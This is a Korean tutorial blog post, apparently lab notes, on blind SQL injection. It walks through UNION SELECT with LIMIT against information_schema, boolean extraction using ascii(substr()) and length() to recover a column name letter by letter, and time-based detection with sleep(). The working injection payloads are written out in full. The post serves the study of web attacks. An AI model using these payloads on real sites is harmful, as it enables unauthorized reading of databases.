본문 바로가기
프로그래밍/WEB HACKING

[WEB HACKING] Blind SQL injection / 상황별 실습 ( 하나의 행만 출력되는 상황 / 컬럼이 하나도 출력되는게 없는 상황 / 참과 거짓도 확인이 안되는 상황 )

by B T Y 2017. 9. 6.
반응형

Blind SQL injection / 상황별 실습에 대해서 정리한다.



- 타겟 페이지에서 한줄의 행만 출력이 되는 상황


    * 타겟 페이지가 while()을 사용하지 않을때 union select로 실행되는 뒤에 결과인 두번째 행부터는 확인이 불가능하다.




( union select 1,2,3을 추가시켜서 실행해보면 타겟 사이트가 반복문을 사용하지 않고

mysql_fetch_row도 한번바께 사용하지 않기 때문에 첫번째 행만 실행이 되는걸 확인 할 수 있다.. )



( 이런 상황에서 다른 행의 정보를 알아내는 방법은 order by를 이용하여 여러 컬럼을 기준으로 정렬을 해주면서 

정보를 알아내는 방법이 있는데 이 방법은 정렬을 할 수있는 컬럼의 갯수가 적거나 행의 갯수가 많다면 

좋지못한 방법이다...


limit를 이용한 방법은 'limit 시작할 행, 행의 갯수'를 이용해서 시작행이나 행의 갯수를 변경해가면서 

정보를 얻어내는 방법이 있다..

limit 방법을 사용할때 행의 갯수가 많다면 프로그래밍을 이용해서 자동화를 시킨다면 더 효율적으로 사용할 수 있다.. )



* 해당 타겟 사이트에서 정보를 얻기 위해서 order by나 limit를 이용해서 알아낼수 있다.

     - order by 방법은 기준으로할 컬럼의 숫자가 많거나 행의 갯수가 적다면 괜찮은 방법이 될 수 있지만

       그 반대의 경우라면 모든 컬럼을 다 확인하거나 많은 컬럼을 확인 할 수 없을 것이다.


* sql 쿼리에서 limit를 이용해서 출력하고 싶은 행과 행의 갯수를 제어 할 수 있다.

  ( 'limit 실행할 행의 번호, 실행할 행의 갯수'를 이용하거나 'limit 실행할 행의 갯수'를 이용하면 된다 )




( limit에 대한 사용법은 위 실행 결과를 비교해보면 되고 'limit 시작할 행, 행의 갯수' 형태로 사용한다 )



[실습]


  600번째 컬럼의 이름은?    headnum


union select 1,table_name,column_name from information_schema.columns limit 599,1

->

SELECT title,news FROM news union SELECT 1,table_name,column_name from information_schema.columns limit 599,1



( 600번째 컬럼은 limit를 이용해서 알아내면 해당 타겟 사이트와 같은 상황에서 알아낼 수 있다 )




- 컬럼이 하나도 출력되는게 없는 상황

   ( 인젝션 취약점이 존재하지만 정보를 출력할 수 없는 상황 )


    * 참/거짓에 대한 결과는 구별이 가능한 상황

           no=1 and 1=1(true)

           no=1 and 1=2(false)



( 타겟 사이트에서 컬럼의 내용을 출력하지 않고 있는 상황이다...

여러가지 상황을 경험해봐야 어떠한 상황에서든 공격을 시도해 볼 수있다..

공격을 할줄 알아야 그에 대한 방어 또한 가능하다... )



( 참/거짓을 이용해서 인젝션 취약점이 있는지 확인했고 우선 and 1=1이라는 참 식을 넣고 실행시켜봤다.. )



( and 1=2라는 거짓 식을 추가시켜 실행해본 결과 오류 페이지가 발생했고 인젝션 취약점이 있다고 판단 할 수 있다.. )



( blind SQL injection을 이용해서 타겟 사이트에서 이런 컬럼명을 알아내는게 목적이고

information_schema.columns 안에 있는 내용들이다... )



( SQL 내장함수인 substr()이나 substring()을 이용해서 문자열을 끈어서 출력할 수 있다.. )



( SQL 내장함수로 char() 함수는 숫자값을 넣으면 아스키코드 값에 해당하는 문자로 변환해서 출력해주는 함수이고

ascii()는 그와 반대로 문자를 넣으면 아스키코드 값인 숫자로 변환해서 출력해주는 함수이다...

char() 함수는 문자열을 입력해도 첫번째 문자에 관한 아스키코드 값만을 알려준다.. )



  * SQL 내장함수인 substr() 혹은 substring()을 이용하면 해당 문자열을 하나씩 끊어서 볼 수 있다.

     ( substr( 문자열, 시작인덱스<1부터 시작>, 길이 ) )


  * SQL에서 서브 쿼리의 결과는 한개의 행만 존재하여야 한다.



1번째 row, 1번째 글자

substr( (select column_name from columns limit 0,1 ), 1,1 );

->

C


아스키 코드로 변환

ascii( substr( (select column_name from columns limit 0,1 ), 1,1 ) );

-> 67



( substr()과 ascii()를 이용하면 위와 같이 서브 쿼리를 이용해서 응용이 가능해진다... )


ascii( substr( (select column_name from columns limit 0,1 ), 1,1 ) ) = 67;

->

67=67(true)



  - WEB에서 확인


no=1 and ascii( substr( (select column_name from inforamtion_schema.columns limit 0,1 ), 1,1 ) ) = 67

->

no=1 and 67=67(true)



( 위 쿼리를 이용하면 해당 타겟 사이트와 같은 상황에서 참과 거짓의 결과를 SQL 쿼리를 이용해서

만들어 컬럼명을 알아낼 수가 있다... 

참이라면 컬럼명의 문자와 일치하는 경우일테고 거짓이라면 그 반대의 경우.. )


( '='나 부등호( >, < )를 이용해서 처리가 가능하고 컬럼명의 끝을 알아내는 방법은

NULL을 이용하거나 처음부터 length() 함수를 이용해서 해당 컬럼명의 길이를

참/거짓으로 알아내서 컬럼명을 알아내는 방법이 있다...

물론 이외에도 여러가지 방법이 있을수 있다.. )


  * 즉, 화면에 출력할수 있는게 아무것도 없어도 안에 있는 정보를 확인하는게 가능하다.

    ( 참/거짓 상황에서 미세한 차이의 비교만으로도 안에 있는 정보를 확인할 수 있다 )


  * 이게 진정한 blind sql injection!!




[실습]


  - 웹에서 확인

  - 560번째 컬럼의 이름은?   bg_image



  * 마지막 글자는 NULL을 이용해서 끝인지를 확인하거나 length()를 이용해서 해당 컬럼명의 길이를 알아내서 확인한다.



ascii( substr( (select column_name from information_schema.columns limit 559,1 ), 1,1 ) )

->

98



ascii( substr( (select column_name from information_schema.columns limit 559,1 ), 2,1 ) )

->

103



ascii( substr( (select column_name from information_schema.columns limit 559,1 ), 3,1 ) )

->

95



ascii( substr( (select column_name from information_schema.columns limit 559,1 ), 4,1 ) )

->

105



ascii( substr( (select column_name from information_schema.columns limit 559,1 ), 5,1 ) )

->

109



ascii( substr( (select column_name from information_schema.columns limit 559,1 ), 6,1 ) )

->

97


ascii( substr( (select column_name from information_schema.columns limit 559,1 ), 7,1 ) )

->

103



ascii( substr( (select column_name from information_schema.columns limit 559,1 ), 8,1 ) )

->

101


length(select column_name from information_schema.columns limit 559,1 ) = 8 (true)


  * length() 함수를 이용하면 몇글자인지 길이를 확인 할 수있다.



- 참/거짓도 확인이 안되는 더 극단적인 상황



( 참/거짓마저도 확인이 불가능한 엄청 극단적인 타겟 사이트의 상황이다.... )



( sleep()과 참/거짓을 이용해서 인젝션 취약점이 가능한지를 알아내는 방법이다... )



( 위 그림과 같이 실행이 된다면 sleep()이 작동되었고 그말은 인젝션 취약점이 있다고 판단할 수 있다.. 

다만 네트워크 상황에 의해서 저런 경우가 생길수도 있다는 점을 고려해줘야 한다... )



( 거짓 식을 추가시켜서 sleep()과 같이 실행 시켜본 결과 위와 같은 실행 결과가 나타나게 된다.. )



- 타임 기반의 블라인드 인젝션

    sleep()을 이용한다.

  ( 앞의 식이 참일때 and sleep()을 이용하면 sleep이 실행 되는걸 보고 인젝션에 취약한지를 판단할 수가 있다 )


   * 위의 개념에 의해서 no=1 and 1=2 and sleep(10)의 경우에는 실행이 되지 않는다.





반응형

댓글